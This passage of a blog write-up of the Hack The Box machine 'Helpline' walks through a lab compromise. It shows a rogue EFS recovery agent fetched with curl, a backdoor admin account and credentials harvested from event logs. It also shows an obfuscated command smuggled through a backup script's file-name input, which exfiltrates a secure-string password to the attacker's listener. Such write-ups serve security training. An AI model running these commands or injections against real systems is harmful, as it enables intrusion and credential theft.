b curl http://10.10.14.13:81/agent_sys.PFX --output C:\\Windows\\system32\\agent33\\agent_sys.PFX

REM BLIND Registry file
b curl http://10.10.14.13:81/EFS.reg --output C:\\Windows\\system32\\agent33\\EFS.reg

REM Check downloads
cmd /c dir C:\\Windows\\system32\\agent33

REM BLIND  Import certificate and key, check result. 
b certutil -q -importpfx -user -p test C:\\Windows\\system32\\agent33\\agent_sys.PFX
REM Check result.
certutil -store -user my

REM Import registry file and check result
regedit /S C:\\Windows\\system32\\agent33\\EFS.reg
reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\EFS

REM Check the EFS status the flags and try to read them
REM To be repeated when the 'legit' owner has read the flag.
cipher /C C:\\Users\\tolu\\Desktop\\user.txt
type C:\\Users\\tolu\\Desktop\\user.txt

Relevant snippets of output I see at my simple web server:

Here is the output of certutil -store -user my – my evil agent has been imported!

======================================================================
10.10.10.132 - - [28/Jun/2019 21:54:15] "POST /test HTTP/1.1" 200 -
==== Command output:
my "Personal" ================ Certificate 0 ================ Serial Number: 61ff1b7d275e028e4b46de447521fe0b Issuer: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM  NotBefore: 5/11/2019 10:42 PM  NotAfter: 4/17/2119 10:42 PM Subject: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM Signature matches Public Key Root Certificate: Subject matches Issuer Cert Hash(sha1): 2ec203ee87660afb5be0e2b7f099dccdf80e535e   Key Container = 4b0e7a7f-b4f0-498e-a061-396f66b86cb4   Unique container name: e5a52c4fb5917c5ec7ddb72e090c0795_86f90bf3-9d4c-47b0-bc79-380521b14c85   Provider = Microsoft Enhanced Cryptographic Provider v1.0 Encryption test passed CertUtil: -store command completed successfully.
======================================================================

Output of reg query – EFS data are there!

======================================================================
10.10.10.132 - - [28/Jun/2019 21:56:21] "POST /test HTTP/1.1" 200 -
==== Command output:
 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS     EFSBlob    REG_BINARY    010001000100000098030000940300000000000002000000780300001C0000000000000000000000308203743082025CA003020102021061FF1B7D275E028E4B46DE447521FE0B300D06092A864886F70D01010505003049310F300D0603550403130653595354454D310C300A0603550407130345465331283026060355040B131F4546532046696C6520456E6372797074696F6E2043657274696669636174653020170D3139303531313231343234395A180F32313139303431373231343234395A3049310F300D0603550403130653595354454D310C300A0603550407130345465331283026060355040B131F4546532046696C6520456E6372797074696F6E20436572746966696361746530820122300D06092A864886F70D01010105000382010F003082010A0282010100D6A0849939584E902E8CD9A095517B71B7B654CA32D471E69EBBD14802F079C79E28226D80EC5C1E0572FD38900472D2A7C90C20C6FD984840B2BBA428CBC0E7558DB701B90CDC722D7EE61A1F38CBA66401D32853DACA2A533DAA727903C089D9266DD2B1F2126742578729ABB8095CC16FBE2C822FB1D84A155969B1369DB9D8DDA9A087540E73443506065940E2338F3AD500BF35D313AE5BA275BA28FE411185F72E1761975472A3F75890288A60752662E0372F079E3D643833D49A9190F05AADAAC8482B88B5B03E55067B0A5ACA4911E4874AFFC23FE85D2F539919179DFE61E8B94CCC829E327F554E77F2428CBE3E59763F3D6F80D722CA1EE7392D0203010001A356305430160603551D25040F300D060B2B0601040182370A030401302F0603551D1104283026A024060A2B060104018237140203A0160C1453595354454D404E5420415554484F524954590030090603551D1304023000300D06092A864886F70D01010505000382010100BE37835ED64AFFCE913ADD80A18A6666961B13FCBF74999417E777F48012F448489A93AAD62203A92382570C2D74843875BA763FC438972E3E1F4C5EAFAB8B311ACCA327938942E93C8B9A088D143C62AD3DBA9D3C8806A3B8B65FF55F2ABBBB86F69B53DB9EF514799BCFA9D9C51B8ED0582552C233093EA0D6870E12B583AB32B058B71505EC035534360D5A6EEF6E3076F68B6AFE13DEE903E5C7C3C6A78EF79C029F8552A97FDE0FDC1C55745A9F9418A8EAFDDF0A507336E5BDF5287737BCF94FFE1220490F10092210B61E37E14F98C6F7B3BEC7B1774FE2842CB7C968D22E233CF25F0B220A84BEC6CA678446A74E0A276B0217D4672C6743AB9BCA33  HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CTLs
======================================================================

Waiting for the legit and reading the flags [>> Contents]

Output of cipher before the user has looked at the flag – The file is encrypted, and there is no agent ‘attached’ to it.

======================================================================
10.10.10.132 - - [28/Jun/2019 21:57:44] "POST /test HTTP/1.1" 200 -
==== Command output:
  Listing C:\Users\tolu\Desktop\  New files added to this directory will not be encrypted.  E user.txt   Compatibility Level:     Windows XP/Server 2003    Users who can decrypt:     HELPLINE\tolu [tolu(tolu@HELPLINE)]     Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29     No recovery certificate found.    Key information cannot be retrieved.  
=====================================================================

Output of type user.txt before the user has looked at the flag – nothing as I do not redirect error out.

======================================================================
10.10.10.132 - - [28/Jun/2019 21:58:06] "POST /test HTTP/1.1" 200 -
==== Command output:
None
======================================================================

Output of cipher after the legit user (see ‘Simulation’ at the end) has looked at the flag = read it using type. Now my evil SYSTEM agent has been added!

======================================================================
10.10.10.132 - - [28/Jun/2019 22:08:50] "POST /test HTTP/1.1" 200 -
==== Command output:
  Listing C:\Users\tolu\Desktop\  New files added to this directory will not be encrypted.  E user.txt   Compatibility Level:     Windows XP/Server 2003    Users who can decrypt:     HELPLINE\tolu [tolu(tolu@HELPLINE)]     Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29     Recovery Certificates:     SYSTEM(SYSTEM@NT AUTHORITY)     Certificate thumbprint: 2EC2 03EE 8766 0AFB 5BE0 E2B7 F099 DCCD F80E 535E     Key Information:     Algorithm: AES     Key Length: 256     Key Entropy: 256 
======================================================================

Output of type user.txt after the user has looked at the flag – it’s readable now!  \o/

======================================================================
10.10.10.132 - - [28/Jun/2019 22:11:18] "POST /test HTTP/1.1" 200 -
==== Command output:
0d522*****
======================================================================

Same procedure for the admin’s flag:

Output of cipher before the Administrator has looked at the flag:

======================================================================
10.10.10.132 - - [28/Jun/2019 22:19:31] "POST /test HTTP/1.1" 200 -
==== Command output:
  Listing C:\Users\Administrator\Desktop\  New files added to this directory will not be encrypted.  E root.txt   Compatibility Level:     Windows XP/Server 2003    Users who can decrypt:     HELPLINE\Administrator [Administrator(Administrator@HELPLINE)]     Certificate thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3     No recovery certificate found.    Key information cannot be retrieved.  
======================================================================

Output of type root.txt before the Administrator has looked at the flag

======================================================================
10.10.10.132 - - [28/Jun/2019 22:17:04] "POST /test HTTP/1.1" 200 -
==== Command output:
None
======================================================================

Output of cipher after the Administrator has looked at the flag

======================================================================
10.10.10.132 - - [28/Jun/2019 22:20:58] "POST /test HTTP/1.1" 200 -
==== Command output:
  Listing C:\Users\Administrator\Desktop\  New files added to this directory will not be encrypted.  E root.txt   Compatibility Level:     Windows XP/Server 2003    Users who can decrypt:     HELPLINE\Administrator [Administrator(Administrator@HELPLINE)]     Certificate thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3     Recovery Certificates:     SYSTEM(SYSTEM@NT AUTHORITY)     Certificate thumbprint: 2EC2 03EE 8766 0AFB 5BE0 E2B7 F099 DCCD F80E 535E     Key Information:     Algorithm: AES     Key Length: 256     Key Entropy: 256 
======================================================================

Output of type root.txt after the Administrator has looked at the flag

======================================================================
10.10.10.132 - - [28/Jun/2019 22:22:19] "POST /test HTTP/1.1" 200 -
==== Command output:
d8142*****
======================================================================

Appendix 1: Simulating the user tolu – ‘brief’ summary [>> Contents]

I owned the Administrator long before the user, but it does not seem to matter which one you own first.
In either case, I used the SYSTEM web RCE to create a new user and make them member of Administrators:

net user test1 Password1! /add
net localgroup Administrators test1 /add

Then I run a psexec shell as this user. I use the original Windows psexec tool so I am socat-ing port 445 from Kali to Windows for that.

On Kali:

socat TCP-LISTEN:445,fork TCP:10.10.10.132:445 &

On Windows:

psexec \\helpline -user helpline\test1 -p Password1! cmd

Enumerating, file system, registry, settings, tasks, and services to death for weeks I find more passwords and user names in files and in ‘service tickets

  • The PasswordAudit.xlsx seen at the beginning.
  • User names in a JSON dump of the app: http://10.10.10.132:8080/api/cmdb/ci/list/all
  • FTP creds for ‘Alpha First Bank’ from a service ticket (in the web app)
  • Creds of potential admins in C:\Temp\Password Audit\it_logins.txt
  • User names and e-mail addresses by directly checking out the users in the web app, like luis_21465 / luis.ribeiro@megabank.com:
  • A service related to a password reset (to Megabank1)
  • Windows userse list from net users.

I try to test / brute-force both SMB and WinRMwith combinations of these. Using information from the  it_logins.txt I can logon as the user alice over WinRM but I am not able to escape Powershell constrained language mode.

But finally finally finally I found tolu’s password in the Event Log – using this chain of breadcrumbs:

Any unusual services? postgres! (used by the ServiceDesk app)

C:\>tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        156 K
Registry                        88 Services                   0    126,156 K
smss.exe                       300 Services                   0      1,232 K
csrss.exe                      384 Services                   0      5,284 K
csrss.exe                      456 Console                    1      4,936 K
wininit.exe                    476 Services                   0      6,680 K
winlogon.exe                   552 Console                    1     12,628 K
services.exe                   588 Services                   0      9,772 K
lsass.exe                      604 Services                   0     18,316 K
svchost.exe                    704 Services                   0      3,708 K
...
conhost.exe                    884 Console                    1     20,028 K
svchost.exe                   3932 Services                   0     18,208 K
svchost.exe                    292 Services                   0     15,636 K
conhost.exe                   5716 Services                   0     10,604 K
cmd.exe                       3028 Services                   0      4,408 K
postgres.exe                  1884 Services                   0     11,660 K
postgres.exe                  5872 Services                   0      6,080 K
postgres.exe                  1092 Services                   0      8,200 K
postgres.exe                  1160 Services                   0      6,716 K
postgres.exe                  6104 Services                   0      6,336 K
postgres.exe                  6092 Services                   0      7,824 K
postgres.exe                  6100 Services                   0      6,076 K
postgres.exe                  6084 Services                   0      6,676 K
svchost.exe                    752 Services                   0      7,564 K
svchost.exe                   3612 Services                   0      8,836 K
svchost.exe                    464 Services                   0      5,820 K
postgres.exe                  4484 Services                   0     17,880 K
postgres.exe                  4660 Services                   0     19,312 K
postgres.exe                  1376 Services                   0     13,948 K
...

There are several users, with different admin capabilities. zachary is an Event Log Reader:

C:\Windows\system32>net user zachary
User name                    zachary
Full Name                    zachary
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/21/2018 10:25:34 PM
Password expires             Never
Password changeable          12/21/2018 10:25:34 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   12/28/2018 10:57:32 PM

Logon hours allowed          All

Local Group Memberships      *Event Log Readers    *Users
Global Group memberships     *None
The command completed successfully.

Based on this stackoverflow post – https://stackoverflow.com/questions/36660176/powershell-query-event-4688-for-command-line-text – I dumped the Event Logs like:

powershell -c "Get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object TimeCreated,@{name='NewProcessName';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={ $_.Properties[8].Value }} | Out-file evt.txt"

I did not search them directly as there was some maximum charcter limit or other glitch with the PS command within the psexec shell, so I rather started exploring the txt file in a second shell while is was still being dumped.

Searching for ‘tolu’ I finally found it

C:\Windows\system32>find /I "tolu" evt.txt

---------- EVT.TXT
1/15/2019 12:18:42 AM                  tolu
1/1/2019 11:56:30 PM                   tolu
12/29/2018 9:20:44 PM                  tolu                                    2
12/29/2018 9:20:44 PM                  tolu                            localhost
12/28/2018 10:40:2... ...m32\systeminfo.exe .../USER:tolu /P !zaq1234567890pl!99
12/28/2018 10:37:3...                  tolu                                    3
12/28/2018 10:37:3...                  tolu                             HELPLINE
12/28/2018 10:37:3... ...s\System32\net.exe ...ts /USER:tolu !zaq1234567890pl!99

As with the test user before, I made tolu an admin (Yeah, not very ‘stealthy’!), then started a psexec shell und typed the flag. This was the procedure I used to ‘look at the file as a legit user’ in order to ‘let the Recovery Agent kick in’:

In the SYSTEM RCE

net localgroup Administrators tolu /add

On Windows, over socat:

psexec \\helpline -user helpline\tolu -p !zaq1234567890pl!99 cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
helpline\tolu

C:\Windows\system32>cd \users\tolu

C:\Users\tolu>cd desktop

C:\Users\tolu\Desktop>type user.txt
0d522*****
C:\Users\tolu\Desktop>

Appendix 2: Simulating the Administrator – brief summary [>> Contents]

Helpline has a drive E: – and I had totally it missed this until I had created my own local test admin and checked out the shares with smbclient!

smbclient -L //10.10.10.132 -U test1421
Enter WORKGROUP\test1421's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	E$              Disk      Default share
	Helpdesk_Stats  Disk      
	IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.132 failed (Error NT_STATUS_IO_TIMEOUT)
Failed to connect with SMB1 -- no workgroup available

Accessing SMB shares locally seems to allows for circumventing UAC – a trick I noticed while rooting the previous HTB box, Arkham. So I look at the files on \\helpline\E locally on the box – using either my test admin’s psexec shell, or using a WinRM session after I have addes the user also to the group Remote Management Users.

There is an interesting backup script that allows to inject input, because you can supply a list of file names in E:\Scripts\Processing\backups.txt. The author of the script is leo according to a comment, and he tried to sanitze the ‘injected’ filenames. Many interesting characters for command injection are blocked, but not the following: [ ] + |.

type '\\helpline\e$\scripts\SDP_Checks.ps1'
# script to check ServiceDesk Plus status, and restore backup from secure folder if needed
# please report any issues - leo

E:
cd E:\Scripts

Remove-Item E:\Scripts\output.txt
Get-Date | Add-Content E:\Scripts\output.txt

# check port is listening

Add-Content E:\Scripts\output.txt ""
Add-Content E:\Scripts\output.txt "Check if listening on 8080"

netstat -ano | Select-String "8080" | Out-File E:\Scripts\output.txt -Append -Encoding ASCII

# check API

Add-Content E:\Scripts\output.txt ""
Add-Content E:\Scripts\output.txt "Check API status"

Invoke-RestMethod -Uri http://helpline:8080/sdpapi/request/1/ -Method Post -Body @{OPERATION_NAME='GET_REQUEST';TECHNICIAN_KEY='CDDBD0A5-5D71-48DE-8FF7-CB9751F0FE7C';} | Out-File E:\Scripts\output.txt -Append -Encoding ASCII

# check service status

Add-Content E:\Scripts\output.txt ""
Add-Content E:\Scripts\output.txt "Check servicedesk service status"

Get-Service servicedesk | Out-File E:\Scripts\output.txt -Append -Encoding ASCII

# restore ServiceDesk data from secure backup folder if required
# put name of folder in backups.txt to retrieve it, e.g. backup_postgres_9309_fullbackup_mon

if (Test-Path E:\Scripts\backups.txt) {

    Copy-Item E:\Scripts\backups.txt E:\Scripts\Processing\backups.txt

    # sanitize user input

    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "exe","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "msi","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "ps1","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "cmd","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "bat","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "dll","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace " ","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "&","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "{","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "}","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "/","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\\","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace """","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\'","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\(","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\)","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\.","" > E:\Scripts\Processing\backups.txt

    ForEach ($backup in Get-Content "E:\Scripts\Processing\backups.txt")
    {
      $Command = "echo D | xcopy /E /R /C /Y /H /F /V E:\Backups\$backup E:\Restore\$backup"
      Invoke-Expression $Command
    }

    Remove-Item E:\Scripts\backups.txt
    Remove-Item E:\Scripts\Processing\backups.txt
}

Before I attempt to get a reverse shell, I check out leo’s files over SMB locally. Of course, there is another EFS-encrypted file, and it sounds juicy:

\\helpline\c$\users\leo\Desktop\admin-pass.xml

My plan is to use the injection into the backup job to read that file – or at least this will be a test to check if / how often I will see leo calling back over my usual curl RCE. I obfuscate my commands by ‘encoding’ each character using [char], then add |powershell so that it will run when evaluated.

Here is my Python script to prepare 1) the input file backups.txt and 2) the command that will echo out the file backups.txt.

cmd = 'curl 10.10.14.21/test -method POST -body $(whoami; type C:\Users\leo\Desktop\\admin-pass.xml)'
chars_enc = []
for c in cmd:
    print c
    c_enc = '[char]0x'+c.encode('hex')
    print c_enc
    chars_enc += [ c_enc ]
    print 

cmd_enc = '+'.join(chars_enc)

echo = '"notexists.txt;' + cmd_enc + '|powershell" | Out-File backups.txt'

print '==================================================================='
print echo
===================================================================
"notexists.txt;[char]0x63+[char]0x75+[char]0x72+[char]0x6c+[char]0x20+[char]0x31+[char]0x30+[char]0x2e+[char]0x31+[char]0x30+[char]0x2e+[char]0x31+[char]0x34+[char]0x2e+[char]0x32+[char]0x31+[char]0x2f+[char]0x74+[char]0x65+[char]0x73+[char]0x74+[char]0x20+[char]0x2d+[char]0x6d+[char]0x65+[char]0x74+[char]0x68+[char]0x6f+[char]0x64+[char]0x20+[char]0x50+[char]0x4f+[char]0x53+[char]0x54+[char]0x20+[char]0x2d+[char]0x62+[char]0x6f+[char]0x64+[char]0x79+[char]0x20+[char]0x24+[char]0x28+[char]0x77+[char]0x68+[char]0x6f+[char]0x61+[char]0x6d+[char]0x69+[char]0x3b+[char]0x20+[char]0x74+[char]0x79+[char]0x70+[char]0x65+[char]0x20+[char]0x43+[char]0x3a+[char]0x5c+[char]0x55+[char]0x73+[char]0x65+[char]0x72+[char]0x73+[char]0x5c+[char]0x6c+[char]0x65+[char]0x6f+[char]0x5c+[char]0x44+[char]0x65+[char]0x73+[char]0x6b+[char]0x74+[char]0x6f+[char]0x70+[char]0x5c+[char]0x61+[char]0x64+[char]0x6d+[char]0x69+[char]0x6e+[char]0x2d+[char]0x70+[char]0x61+[char]0x73+[char]0x73+[char]0x2e+[char]0x78+[char]0x6d+[char]0x6c+[char]0x29|powershell" | Out-File backups.txt
===================================================================

When the backup job runs, Powershell will invoke a command from the file name, like

echo D | xcopy /E /R /C /Y /H /F /V E:\Backups\$backup E:\Restore\notexists.txt;[char]0x63+[char]0x75+[char]0x72+...+[char]0x29|powershell" | Out-File backups.txt

After a brief time (~1 minute) leo calls back!

nc -lvp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
nc: connect to 10.10.14.21 80 from helpline (10.10.10.132) 51774 [51774]
POST /test HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.134
Content-Type: application/x-www-form-urlencoded
Host: 10.10.14.21
Content-Length: 537
Expect: 100-continue
Connection: Keep-Alive

helpline\leo 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000020000000000106600000001000020000000c2d2dd6646fb78feb6f7920ed36b0ade40efeaec6b090556fe6efb52a7e847cc000000000e8000000002000020000000c41d656142bd869ea7eeae22fc00f0f707ebd676a7f5fe04a0d0932dffac3f48300000006cbf505e52b6e132a07de261042bcdca80d0d12ce7e8e60022ff8d9bc042a437a1c49aa0c7943c58e802d1c758fc5dd340000000c4a81c4415883f937970216c5d91acbf80def08ad70a02b061ec88c9bb4ecd14301828044fefc3415f5e128cfb389cbe8968feb8785914070e8aebd6504afcaa

This looks like a Powershell secure string, so only leo on Helpline can decrypt it. Again, I use only the RCE: Letting leo extract the plain text password from the string and send it to me. I am [char]-encoding this whole command, create a huge filename and echo it into backups.txt as before:

$username = "administrator"; $securePwd = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000020000000000106600000001000020000000c2d2dd6646fb78feb6f7920ed36b0ade40efeaec6b090556fe6efb52a7e847cc000000000e8000000002000020000000c41d656142bd869ea7eeae22fc00f0f707ebd676a7f5fe04a0d0932dffac3f48300000006cbf505e52b6e132a07de261042bcdca80d0d12ce7e8e60022ff8d9bc042a437a1c49aa0c7943c58e802d1c758fc5dd340000000c4a81c4415883f937970216c5d91acbf80def08ad70a02b061ec88c9bb4ecd14301828044fefc3415f5e128cfb389cbe8968feb8785914070e8aebd6504afcaa" | ConvertTo-SecureString; $credObject = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $securePwd; $pw = $credObject.GetNetworkCredential().Password; curl 10.10.14.21/test -method POST -body $pw

Again, leo calls back with … a password! \o/

nc -lvp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
nc: connect to 10.10.14.21 80 from helpline (10.10.10.132) 51806 [51806]
POST /test HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.134
Content-Type: application/x-www-form-urlencoded
Host: 10.10.14.21
Content-Length: 21
Expect: 100-continue
Connection: Keep-Alive

mb@letmein@SERVER#acc

Finally I start a psexec shell as the Administrator on Windows and read the flag:

psexec \\helpline -user helpline\Administrator -p mb@letmein@SERVER#acc cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
helpline\administrator

C:\Windows\system32>cd C:\Users\administrator

C:\Users\Administrator>cd Desktop

C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is D258-5C3B

 Directory of C:\Users\Administrator\Desktop

01/02/2019  11:43 PM              .
01/02/2019  11:43 PM              ..
12/21/2018  12:09 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)   5,469,110,272 bytes free

C:\Users\Administrator\Desktop>type root.txt
d8142*****

Leave a Comment

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.